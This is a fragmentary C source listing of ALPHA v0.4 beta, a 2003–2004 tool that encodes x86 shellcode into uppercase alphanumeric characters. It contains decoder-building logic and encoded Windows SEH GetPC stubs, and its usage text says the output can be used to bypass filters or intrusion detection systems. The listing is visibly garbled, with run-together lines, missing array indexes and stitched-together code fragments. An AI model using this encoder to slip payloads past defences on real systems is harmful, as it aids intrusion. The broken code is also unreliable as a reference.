#define XOR8_ "0" // xor a byte in memory with an 8 bit register #define XOR32_ "1" // xor 32 bits in memory with a 32 bit register #define XOR8_X_ "2" // xor an 8 bit register with a byte in memory #define XOR32_X_ "3" // xor a 32 bit register with 32 bits in memory #define XOR_AL_I_ "4" // xor the al register with a immediate byte #define XOR_EAX_I_ "5" // xor the eax register with a immediate 32 bit value #define SS "6" #define AAA "7" #define CMP8_ "8" // cmp a byte in memory with an 8 bit register #define CMP32_ "9" // xor 32 bits in memory with a 32 bit register
#define BL_MEAX_O8_ "X" #define BL_MECX_O8_ "Y" #define BL_MEDX_O8_ "Z"
// 32 BIT ALPHA NUMERIC PARAMETERS
#define ESI_MEAX "0" #define ESI_MECX "1" #define ESI_MEDX "2" #define ESI_MEBX "3" #define ESI_MR_ "4" // 2nd param. is 1 byte (see below) #define ESI_MI_ "5" // 2nd param. is 32 bit immediate value #define ESI_MESI "6" #define ESI_MEDI "7" #define EDI_MEAX "8" #define EDI_MECX "9"
// all the following have a 1 byte second parameter containing an offset #define EAX_MECX_O8_ "A" #define EAX_MEDX_O8_ "B" #define EAX_MEBX_O8_ "C" #define EAX_MESP_O8_ "D" #define EAX_MEBP_O8_ "E" #define EAX_MESI_O8_ "F" #define EAX_MEDI_O8_ "G"
//----------------------------------------------------------------------------- struct baseaddress_options_struct { char* option; // name of option char* code; // the code } baseaddress_options[] = { // We're using "xor offset(%edx), %al" and similar instructions for xor- // patching and decoding the origional code to keep it all alphanumeric. // %edx and %ecx must point to the baseaddess of the shellcode, we add one of // the following pieces of code to set the %ecx and %edx register. // Since offset must be at least 0x30, we can't patch any instructions before // baseaddress+0x30 without tricks. We could offcourse just add padding but // then we'd have useless bytes in our decoder taking up space. We can also // lower %edx and %ecx to reach these otherwise unreachable instructions: The // "dec %edx" and "dec %ecx" instructions combine padding and decreasing to // reduce the size of the decoder. { "eax", PUSH_EAX POP_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX PUSH_EDX POP_ECX }, { "ebx", PUSH_EBX POP_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX PUSH_EDX POP_ECX }, { "ecx", DEC_ECX DEC_ECX DEC_ECX DEC_ECX DEC_ECX DEC_ECX PUSH_ECX POP_EDX }, { "edx", DEC_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX PUSH_EDX POP_ECX }, { "esp", PUSH_ESP POP_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX PUSH_EDX POP_ECX }, { "ebp", PUSH_EBP POP_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX PUSH_EDX POP_ECX }, { "esi", PUSH_ESI POP_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX PUSH_EDX POP_ECX }, { "edi", PUSH_EDI POP_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX PUSH_EDX POP_ECX }, { "[esp-8]", DEC_ESP DEC_ESP DEC_ESP DEC_ESP DEC_ESP DEC_ESP DEC_ESP DEC_ESP POP_EDX DEC_EDX PUSH_EDX POP_ECX }, { "[esp-4]", DEC_ESP DEC_ESP DEC_ESP DEC_ESP POP_EDX DEC_EDX DEC_EDX DEC_EDX PUSH_EDX POP_ECX }, { "[esp]", POP_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX PUSH_EDX POP_ECX }, { "[esp+4]", INC_ESP INC_ESP INC_ESP INC_ESP POP_EDX DEC_EDX DEC_EDX DEC_EDX PUSH_EDX POP_ECX }, { "[esp+8]", INC_ESP INC_ESP INC_ESP INC_ESP INC_ESP INC_ESP INC_ESP INC_ESP POP_EDX DEC_EDX PUSH_EDX POP_ECX }, { NULL, NULL } };
char* decoder_allowed_chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; // 'Z' terminates decoding and is thus not allowed in the encoded data. char* encoded_allowed_chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXY"; // Taken from the win32 SEH GetPC project. This code uses fs to get the current // SEH address and overwrites it with a new SEH. Then it causes an exception, // passing execution to the new SEH. This SEH can determine the location where // the exception took place from the information provided about the exception. // It then transfers execution back to the code behind the exception, passing // the location of that code along in %ecx. Should work 100% of the time. char* w32SEHGetPC_code = "VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089"; // The uppercase version of this code can not use %fs. It will assume the start // of the SEH chain is at the top of the stack and you have not used more then // 65536 bytes of stack. It will take %esp and set the lower two bytes to // 0xffe4. The resulting address SHOULD point to the last SEH in the chain, // which it will overwrite and call similair to the "normal" win32 SEH GetPC. // Remember that it hyjacks the LAST SEH, if an earlier SEH handles the // exception, the code will not work! Should work 99.9% of the time. char* w32SEHGetPC_uppercase_code = "VTX630WTX638VXH49HHHPVX5AAQQPVX5YYYYP5YYYD5KKYAPTTX638TDDNVDDX4Z4A63861816";
// Get a 0x0 in a register ---------------------------------------------------- PUSH_ESI // %esi = 0x0 PUSH_ESP POP_EAX SS XOR32_X_ ESI_MEAX // xor %ss:(%eax), %esi
// XOR-patching --------------------------------------------------------------- PUSH_ESI POP_EAX XOR_AL_I_ "A" // al = xorcode1 // decode 0x10 for imul instruction XOR8_ AL_MEDX_O8_ "a" // xor %al, offset_0x10(%edx) // decode 0x6b for imul instruction DEC_EAX DEC_EAX // %al = xorcode2 (space saver;) XOR8_ AL_MEDX_O8_ "b" // xor %al, offset_imul(%edx) // decode 0x75 for jne instruction XOR8_ AL_MEDX_O8_ "c" // xor %al, offset_jne(%edx)
// The "c"(+1) also marks beginning of the decoder loop!
//----------------------------------------------------------------------------- void fprintf_banner(FILE* stream) { fprintf(stream, "n ______________________________________________________________________________n n ,sSSs,,s, ALPHA v0.4 beta.n SS" Y$P"n iS' dY Captitalized alphanumeric shellcode encoding.n YS, dSb Copyright (C) 2003, 2004 by Berend-Jan Wever.n `"YSS'"S' < skylined@edup.tudelft.nl>n ______________________________________________________________________________n n "); } //----------------------------------------------------------------------------- void fprintf_usage(FILE* stream, char* name) { fprintf(stream, "n Usage: %s OPTIONSn Reads shellcode from stdin and encodes it to stdout to contain only uppercasen alphanumeric characters (0-9 and A-Z).n n The result consist of a decoder and encoded shellcode data, it is a fullyn working uppercase alphanumeric version of the origional shellcodecode. Thisn encoding can be used to bypass filters or IDS systems.n The decoder needs to know it's exact baseaddress, you can specify where then shellcode can get it's baseaddress from with the -r, -w or -W options.n n Options:n -c CHARACTER STRING Specify a set of prefered characters, then encoded data will contain as many of thesen characters as possible. You can even supplyn lowercase and non-alphanumeric characters.n -b REGISTER|STACK LOCATION Specify the register or stack location that willn contain the baseaddress. Accepted values are:n eax, ebx, ecx, edx, esi, edi, esp, ebp, [esp-8],n [esp-4], [esp], [esp+4], [esp+8]n -w, -W Add code to calculate the baseaddress using then Structured Exception Handler (SEH). This onlyn works on Microsft Windows operating systems.n The -w options adds code that will allways work n but has lowercase characters in it. The -Wn option adds code that will work 99%% of the timen but is 100%% uppercase. See source code forn details.n n Examples:n cat shellcode | %s -b eax > encoded_shellcoden cat shellcode | %s -w | encoded_win32_shellcoden cat shellcode | %s -b [esp-4] -c abcdefghijklmnopqrstuvwxyz >> exploitn n ", name, name, name, name); }
char* find_baseaddress_code(char* option) { int i = 0; while(baseaddress_options.option) { if (strcasecmp(option, baseaddress_options.option) == 0 ) return baseaddress_options.code; i++; } fprintf_banner(stderr); fprintf(stderr, "Error: baseaddress code for '%s' not found!n", option); exit(-1); }
// Parse command line arguments while ( (opt = getopt(argc, argv, "b:c:wW?")) != -1) { switch (opt) { case 'b': // baseaddress baseaddress_code = find_baseaddress_code(optarg); break; case 'c': // prefered characters prefered_encode_chars = optarg; // 'Z' terminates decoding and is thus never allowed. if (strchr(prefered_encode_chars, 'Z') != 0 ) { fprintf_banner(stderr); fprintf(stderr, "Error: allowed characters cannot contain 'Z'.n"); exit(-1); } break; case 'w': // add Windows SEH GetPC code GetPC_code = w32SEHGetPC_code; baseaddress_code = find_baseaddress_code("ecx"); break; case 'W': // add uppercase Windows SEH GetPC code GetPC_code = w32SEHGetPC_uppercase_code; baseaddress_code = find_baseaddress_code("ecx"); break; case '?': fprintf_banner(stdout); fprintf_usage(stdout, argv[0]); exit(0); } } // Calculate size of sme parts of the code and create a writeable // copy of the decoder. GetPC_code_size = strlen(GetPC_code); baseaddress_code_size = strlen(baseaddress_code); decoder_code_size = strlen(decoder_code_skeleton); decoder_code = (char*)malloc(decoder_code_size); strcpy(decoder_code, decoder_code_skeleton);
// Check if required information was provided on the command-line if (baseaddress_code_size==0) { fprintf_banner(stderr); fprintf_usage(stderr, argv[0]); exit(-1); }
// Calculate some offsets and set them in the decoder offset_xor_patch_0x10 = (int)strchr(decoder_code, 'a') - (int)decoder_code; offset_xor_patch_imul = (int)strchr(decoder_code, 'b') - (int)decoder_code; offset_xor_patch_jne = (int)strchr(decoder_code, 'c') - (int)decoder_code; offset_start_loop = offset_xor_patch_jne+1; offset_imul = (int)strchr(decoder_code, *IMUL) - (int)decoder_code; offset_0x10 = (int)strchr(decoder_code, 0x10) - (int)decoder_code; offset_jne = (int)strchr(decoder_code, *JNE) - (int)decoder_code; offset_buffer = offset_jne+1; offset_end_loop = offset_jne+2;
// The code needs to be xor_patched to be alpha numeric decoder_code[offset_0x10] ^= xorcode1; decoder_code[offset_imul] ^= xorcode2; decoder_code[offset_jne] ^= xorcode2;
// The xor_patches need to know the offset where to patch the code. decoder_code[offset_xor_patch_0x10] = (char)(baseaddress_code_size + offset_0x10 + baseaddress_adjust); decoder_code[offset_xor_patch_imul] = (char)(baseaddress_code_size + offset_imul + baseaddress_adjust); decoder_code[offset_xor_patch_jne] = (char)(baseaddress_code_size + offset_jne + baseaddress_adjust);
// A lot of instructions in the decoder need the offset of the buffer from // the start of the code, adjusted for the "dec %edx" optimization. while (strchr( decoder_code, '#') != 0) { *(char*)strchr( decoder_code, '#') = (char)(baseaddress_code_size + offset_buffer + baseaddress_adjust); }
// The "jne" loop has a negative offset, which is not alphanumeric. But // since the decoder has allready decoded the first byte before the jne // is reached, we can encode it as if it was part of the shellcode. offset_loop = offset_start_loop - offset_end_loop; lownibble = (offset_loop & 0xf); highnibble = (offset_loop & 0xf0) >>4; lownibble_encoded = (lownibble ^ 0x41) + 1; lownibble_encoded = (lownibble ^ 0x41) + 1; highnibble_encoded = (highnibble == 0x0 ? 0x50 : highnibble+0x40); decoder_code[offset_buffer] = (char)lownibble_encoded; decoder_code[offset_buffer+1] = (char)highnibble_encoded;
// Check decoder for bad characters: for (i=0;i< strlen(decoder_code);i++) if (!strchr(decoder_allowed_chars, decoder_code)) { fprintf(stderr, "Build error: The decoder contains bad characters!n" "byte #%d: 0x%02xnn", i, (unsigned int)decoder_code); exit(-1); }
// Output GetPC_code, baseaddress_code and decoder_code: printf("%s%s%s", GetPC_code, baseaddress_code, decoder_code);
// the upper 4 bits of highnibble are discarded during decoding, so you can // put anything in them as long as it's alphanumeric. i = rand() % strlen(encoded_allowed_chars); while((encoded_allowed_chars & 0xf) != highnibble) { i++; i %= strlen(encoded_allowed_chars); } highnibble_encoded = encoded_allowed_chars;